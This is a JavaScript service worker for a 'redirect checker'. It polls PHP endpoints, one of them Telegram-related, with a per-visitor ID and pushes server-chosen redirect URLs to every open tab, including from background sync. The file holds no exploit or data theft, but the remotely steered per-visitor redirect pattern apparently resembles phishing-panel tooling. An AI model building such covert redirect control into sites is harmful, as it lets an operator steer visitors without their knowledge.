/**
 * Service Worker for Redirect Checker
 * Helps maintain background activity for redirect checking
 */

const CACHE_NAME = 'redirect-checker-cache-v1';

// Install event - cache essential files
self.addEventListener('install', (event) => {
  console.log('Service Worker: Installing');
  
  // Skip waiting to activate immediately
  self.skipWaiting();
  
  event.waitUntil(
    caches.open(CACHE_NAME).then((cache) => {
      return cache.addAll([
        'assets/js/redirect-checker.js',
        'check_json_status.php',
        'check_telegram_updates.php'
      ]);
    })
  );
});

// Activate event - clean up old caches
self.addEventListener('activate', (event) => {
  console.log('Service Worker: Activated');
  event.waitUntil(
    caches.keys().then((cacheNames) => {
      return Promise.all(
        cacheNames.map((cache) => {
          if (cache !== CACHE_NAME) {
            console.log('Service Worker: Clearing old cache');
            return caches.delete(cache);
          }
        })
      );
    })
  );
  
  // Claim clients to take control immediately
  return self.clients.claim();
});

// Setup periodic sync if supported
self.addEventListener('periodicsync', (event) => {
  if (event.tag === 'redirect-check') {
    console.log('Service Worker: Performing periodic sync for redirect check');
    event.waitUntil(checkRedirectStatus());
  }
});

// Handle fetch events - network first, then cache
self.addEventListener('fetch', (event) => {
  // Only handle API requests
  if (event.request.url.includes('check_json_status.php') || 
      event.request.url.includes('check_telegram_updates.php')) {
    
    event.respondWith(
      fetch(event.request)
        .then((response) => {
          // Clone the response to store in cache
          const responseClone = response.clone();
          
          caches.open(CACHE_NAME).then((cache) => {
            cache.put(event.request, responseClone);
          });
          
          return response;
        })
        .catch(() => {
          // If network fails, try to get from cache
          return caches.match(event.request);
        })
    );
  }
});

// Background sync for offline support
self.addEventListener('sync', (event) => {
  if (event.tag === 'redirect-check') {
    console.log('Service Worker: Performing background sync for redirect check');
    event.waitUntil(checkRedirectStatus());
  }
});

// Message handler for communication with the main page
self.addEventListener('message', (event) => {
  console.log('Service Worker: Message received', event.data);
  
  if (event.data.action === 'checkRedirect') {
    checkRedirectStatus(event.data.visitorId)
      .then(result => {
        // Send result back to client
        event.source.postMessage({
          action: 'redirectResult',
          result: result
        });
      });
  }
});

// Function to check redirect status
async function checkRedirectStatus(visitorId) {
  try {
    // Try to get visitorId from clients if not provided
    if (!visitorId) {
      const clients = await self.clients.matchAll();
      if (clients.length > 0) {
        // Ask the first client for the visitorId
        const response = await new Promise(resolve => {
          const messageChannel = new MessageChannel();
          messageChannel.port1.onmessage = event => resolve(event.data);
          clients[0].postMessage({ action: 'getVisitorId' }, [messageChannel.port2]);
        });
        
        visitorId = response.visitorId;
      }
    }
    
    if (!visitorId) {
      console.error('Service Worker: No visitor ID available');
      return { error: 'No visitor ID available' };
    }
    
    // Check JSON status
    const jsonResponse = await fetch(`check_json_status.php?visitor_id=${visitorId}`);
    const jsonResult = await jsonResponse.json();
    
    // Check Telegram updates
    const telegramResponse = await fetch('check_telegram_updates.php', {
      method: 'POST',
      headers: {
        'Content-Type': 'application/json',
      },
      body: JSON.stringify({ visitor_id: visitorId })
    });
    const telegramResult = await telegramResponse.json();
    
    // If redirect is needed, notify all clients
    if (jsonResult.redirect) {
      const clients = await self.clients.matchAll();
      clients.forEach(client => {
        client.postMessage({
          action: 'redirect',
          url: jsonResult.redirect_url
        });
      });
      
      return {
        redirect: true,
        redirect_url: jsonResult.redirect_url,
        telegram: telegramResult
      };
    }
    
    return {
      redirect: false,
      telegram: telegramResult
    };
  } catch (error) {
    console.error('Service Worker: Error checking redirect status', error);
    return { error: error.message };
  }
}
